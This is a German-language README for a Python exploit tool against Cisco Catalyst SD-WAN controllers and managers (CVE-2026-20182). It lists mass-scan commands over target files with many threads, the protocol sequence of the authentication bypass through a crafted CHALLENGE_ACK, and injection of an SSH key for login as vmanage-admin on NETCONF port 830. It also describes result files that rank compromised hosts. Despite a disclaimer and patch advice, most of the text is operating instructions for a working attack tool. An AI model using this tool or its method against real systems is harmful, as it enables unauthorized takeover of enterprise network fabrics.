
Cisco Catalyst SD-WAN Peering Authentifizierungsumgehung
Cisco Catalyst SD-WAN Peering-Authentifizierungs-Bypass
Bewertungstool für autorisierte Tests des Cisco Catalyst SD-WAN Controller / Manager Peering-Authentifizierungs-Bypass (CVE-2026-20182).
| CVE | CVE-2026-20182 |
| Schweregrad | Kritisch (CVSS 10.0) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Produkt | Cisco Catalyst SD-WAN Controller (ehemals vSmart) · Cisco Catalyst SD-WAN Manager (ehemals vManage) |
| Problem | Peering-Authentifizierungsmechanismus wird nicht korrekt durchgesetzt |
| Skript | CVE-2026-20182.py |
Mai 2026 Advisory: Ein Fehler im Control-Connection-Handshake / Peering-Authentifizierung ermöglicht es einem nicht authentifizierten entfernten Angreifer, die Authentifizierung zu umgehen und hochprivilegierten internen Zugriff auf betroffene Systeme zu erhalten.
Ein Angreifer sendet präparierte Anfragen an das betroffene System. Bei Erfolg kann sich der Angreifer als internes, hochprivilegiertes, nicht root-Konto authentifizieren und NETCONF erreichen, was die Manipulation der SD-WAN-Fabric-Konfiguration ermöglicht.
Empfehlung: Wenden Sie Cisco-Sicherheitsupdates gemäß der offiziellen Herstelleranleitung an. Beschränken Sie die Exposition der Management-Ebene, überwachen Sie Control-Plane-Verbindungen und prüfen Sie SD-WAN-Controller auf nicht autorisierte Konfigurationsänderungen.
Telegram: @KNxploited
CVE-2026-20182.pyPython 3 Exploit-Framework für CVE-2026-20182 gegen Cisco SD-WAN vdaemon (UDP/DTLS 12346).
Fabric-Fallback: Bei TEAR_DOWN oder Parameterkonflikt werden alternative Domain/Site-Voreinstellungen (1,100), (1,1), (0,0) wiederholt, es sei denn, --no-fallback ist angegeben.
Wichtig
check-Modus → höchstens Stufe 03 (Bypass-Sonde). Kein vollständiger Exploit-Nachweis.full-Modus → Ziel ist Stufe 01 (ssh_verified).https://host in der Liste → nur TCP-Web-Hinweis (80/443). Nicht UDP DTLS auf 443.pip install -r requirements.txt
Windows
bin\ zur PATH-Umgebungsvariablen hinzu, oder setzen Sie:OPENSSL_HOME=C:\Program Files\OpenSSL-Win64
Linux
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
Das Tool beendet sich beim Start, wenn OpenSSL nicht geladen werden kann.
python CVE-2026-20182.py
0 = SCAN STARTENcheck (sicherer Bypass-Sonde)python CVE-2026-20182.py -y
CHECK — Nur Bypass-Sonde
python CVE-2026-20182.py -y --mode check
FULL — Schlüssel injizieren + SSH überprüfen (nur autorisierte Ziele)
python CVE-2026-20182.py -y --mode full
-f / --file — Zieledatei (Standard: targets.txt)
python CVE-2026-20182.py -y -f my_controllers.txt --mode check
-t / --threads — Arbeiter-Threads (1–200, Standard 12)
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check
--domain — Standard-DOMAIN_ID, wenn nicht in Liste (Standard: 1)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check
--site — Standard-SITE_ID, wenn nicht in Liste (Standard: 100)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full
--mode — check | full
python CVE-2026-20182.py -y --mode full -f targets.txt
-y / --yes — interaktives Menü überspringen; nur CLI-Werte verwenden
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20
--no-ssh-verify — SSH-Test nach Injektion überspringen (nicht empfohlen im full-Modus)
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt
--verify-ssh22 — zusätzlich TCP 22 nach 830 versuchen
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt
--no-try-list-udp — nur UDP 12346; :port aus Liste ignorieren
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check
--extra-udp-ports — Labor: zusätzliche UDP-Ports auf jedem Host
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check
--no-fallback — Domain/Site-Wiederholung bei TEAR_DOWN deaktivieren
python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full
-v / --verbose — jede Protokoll-TX/RX-Nachricht protokollieren
python CVE-2026-20182.py -y -v -f targets.txt --mode check
-y weggelassen wird)targets.txt-FormatEin Ziel pro Zeile. Zeilen, die mit # beginnen, werden ignoriert.
Beispieledatei
# Lab controllers — authorized only
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1
Nicht unterstützt: IPv6 (nur IPv4 / Hostname).
Beispiel SSH-Befehl (Stufe 01)
ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N
python CVE-2026-20182.py -y -f targets.txt --mode check -t 24
Überprüfen Sie cisco_sdwan_03_bypass_only.jsonl und die Live-Statistiken Nur Bypass.
python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8
Überprüfen Sie cisco_sdwan_01_confirmed_ssh.jsonl — einzige Datei mit ssh_verified: true.
python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback
check — schreibt keine Schlüssel und weist SSH nicht eigenständig nach.ssh_verified=true nur im full-Modus.TEAR_DOWN nach CHALLENGE_ACK; aktivieren Sie den Fabric-Fallback oder korrigieren Sie Domain/Site in der Liste.sdwan_keys/ oder Scan-Ergebnisse in öffentliche Repositories.Diese Software dient ausschließlich autorisierten Sicherheitsforschungen, defensiven Bewertungen und Bildungszwecken.
Sie müssen ausdrückliche schriftliche Genehmigung haben, um Systeme zu testen, die Sie nicht besitzen oder betreiben. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch, Schäden oder rechtliche Konsequenzen, die aus der Nutzung dieses Tools entstehen.
Verwenden Sie es nur auf Systemen und Netzwerken, für die Sie ausdrücklich zur Durchführung von Sicherheitstests autorisiert sind.
Von: Nxploited ( Khaled Alenazi )
| Element | Detail |
|---|
| Angriffsvektor | Netzwerk |
| Erforderliche Berechtigungen | Keine |
| Benutzerinteraktion | Keine |
| Umfang | Geändert |
| Auswirkung | Vertraulichkeit, Integrität und Verfügbarkeit — Hoch |
| Schritt | Phase | Beschreibung |
|---|
| 1 | Ziele laden | targets.txt parsen, Duplikate nach (host, domain_id, site_id) zusammenführen |
| 2 | OpenSSL-Vorbereitung | OpenSSL 3.x/4.x-Shared-Libraries für benutzerdefiniertes DTLS laden |
| 3 | DTLS-Verbindung | Verbindung zum Ziel-UDP-Port herstellen (immer zuerst 12346, dann optionale Listen-Ports) |
| 4 | CHALLENGE | Server-CHALLENGE (0x08) empfangen |
| 5 | CHALLENGE_ACK | Präpariertes CHALLENGE_ACK als vHub (Typ 2) senden — Authentifizierungs-Bypass |
| 6 | Hello | Hello-Austausch abschließen — bestätigt Bypass-Pfad |
| 7a | CHECK-Modus | Hier anhalten — nur Bypass / Hello OK aufzeichnen (keine Schlüssel, kein SSH) |
| 7b | FULL-Modus | SSH-öffentlichen Schlüssel über VMANAGE_TO_PEER injizieren |
| 8 | Injektionsbestätigung | REGISTER_TO_VMANAGE (0x0D) als Protokollbestätigung erwarten |
| 9 | SSH-Überprüfung | Login als vmanage-admin auf TCP 830 (NETCONF), optional 22 testen |
| 10 | Ausgabe | Ergebnisse in Tier-Dateien + menschenlesbare Befehlsliste sortieren |
| Stufe | Datei | Bedeutung |
|---|
| 01 — SSH bestätigt | cisco_sdwan_01_confirmed_ssh.jsonl | ssh_verified=true — einzige Stufe, die als vollständiger Kompromittierungsnachweis gilt |
| 02 — Nur Injektionsbestätigung | cisco_sdwan_02_inject_ack_only.jsonl | Protokoll hat Schlüsselinjektion akzeptiert; SSH-Login fehlgeschlagen |
| 03 — Nur Bypass | cisco_sdwan_03_bypass_only.jsonl | Hello/Bypass OK; keine bestätigte Injektion |
| Anforderung | Hinweise |
|---|
| Python | 3.9+ |
| pip | cryptography, rich |
| OpenSSL | 3.x oder 4.x Shared Libraries (libssl + libcrypto) — zwingend erforderlich |
| Modus | Flag | SSH-Injektion | SSH-Überprüfung | Verwendung wenn |
|---|
| CHECK | --mode check (Standard) | Nein | Nein | Massen-Screening, Bypass-Erkennung |
| FULL | --mode full | Ja | Ja (es sei denn, --no-ssh-verify) | Kompromittierungsnachweis |
| # | Option |
|---|
| 1 | Zieledatei |
| 2 | Arbeiter-Threads |
| 3 | Standard-DOMAIN_ID |
| 4 | Standard-SITE_ID |
| 5 | Modus: check / full |
| 6 | Fabric-Autowiederholung bei TEAR_DOWN |
| 7 | Ausführliches Protokoll-Log |
| 8 | SSH-Überprüfung nach Injektion |
| 9 | Auch SSH :22 überprüfen |
| 10 | Explizite Listen-UDP-Ports versuchen |
| 11 | Zusätzliche UDP-Ports (Labor) |
| 12 | Hilfe zum Listenformat anzeigen |
| 0 | ▶ SCAN STARTEN |
| Format | Beispiel | Verhalten |
|---|
| IP / Hostname | 10.0.0.1 | UDP 12346 + Standard-Domain/Site |
| IP + UDP-Port | 10.0.0.2:12346 | Auch Listen-UDP-Port versuchen |
| IP + Port + Domain + Site | 10.0.0.3:12346:1:100 | Vollständiges Fabric-Tupel |
| HTTPS-URL | https://10.0.0.4 | Host + nur TCP 443-Hinweis (nicht UDP/443) |
| HTTP-URL | http://10.0.0.5 | Nur TCP 80-Hinweis |
| UDP-URL | udp://10.0.0.6:12346 | Explizites UDP |
| Tabulator/Komma getrennt | 10.0.0.7 12346 1 100 | Wie Vier-Felder-Form |
| Key=Wert | 10.0.0.8;port=12346;domain=1;site=100 | Semikolon-KV-Syntax |
| Datei | Inhalt |
|---|
cisco_sdwan_results.jsonl | Roh-JSON-Ergebnis pro Versuch |
cisco_sdwan_success.txt | Bestätigte SSH-Zeilen (tab-getrennt) |
cisco_sdwan_01_confirmed_ssh.jsonl | Stufe 01 — SSH verifiziert |
cisco_sdwan_02_inject_ack_only.jsonl | Stufe 02 — Injektionsbestätigung, SSH fehlgeschlagen |
cisco_sdwan_03_bypass_only.jsonl | Stufe 03 — nur Bypass/Hello |
cisco_sdwan_commands.txt | Menschenlesbare SSH-Befehle |
cisco_sdwan_findings.json | Sitzungszusammenfassung + Zählungen |
sdwan_keys/ | Generierte private Schlüssel (full-Modus) |
| Zähler | Bedeutung |
|---|
| Fortschritt | Abgeschlossene Ziele / Gesamt |
| SSH verifiziert | Stufe 01-Anzahl |
| Injektionsbestätigung | Stufe 02-Anzahl |
| Nur Bypass | Stufe 03-Anzahl |
| Fehlgeschlagen | Fehler / kein Bypass |